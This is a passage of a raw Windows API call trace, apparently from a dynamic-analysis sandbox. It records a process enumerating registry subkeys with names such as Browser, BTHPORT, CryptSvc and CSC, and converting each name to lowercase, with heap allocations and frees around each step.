[0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.828] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.828] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.828] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.829] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.829] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.829] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.829] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.830] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.830] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.830] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.830] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0193.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0193.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.831] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0193.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1c88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0193.831] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0193.831] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0193.831] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f18e0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0193.831] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0193.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1c88, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0193.832] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f18e0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0193.832] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1c88, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0193.832] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0193.832] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0193.832] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0193.832] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0193.833] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0193.833] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1c88, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0193.833] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0193.833] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0193.833] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0193.833] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0193.834] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | 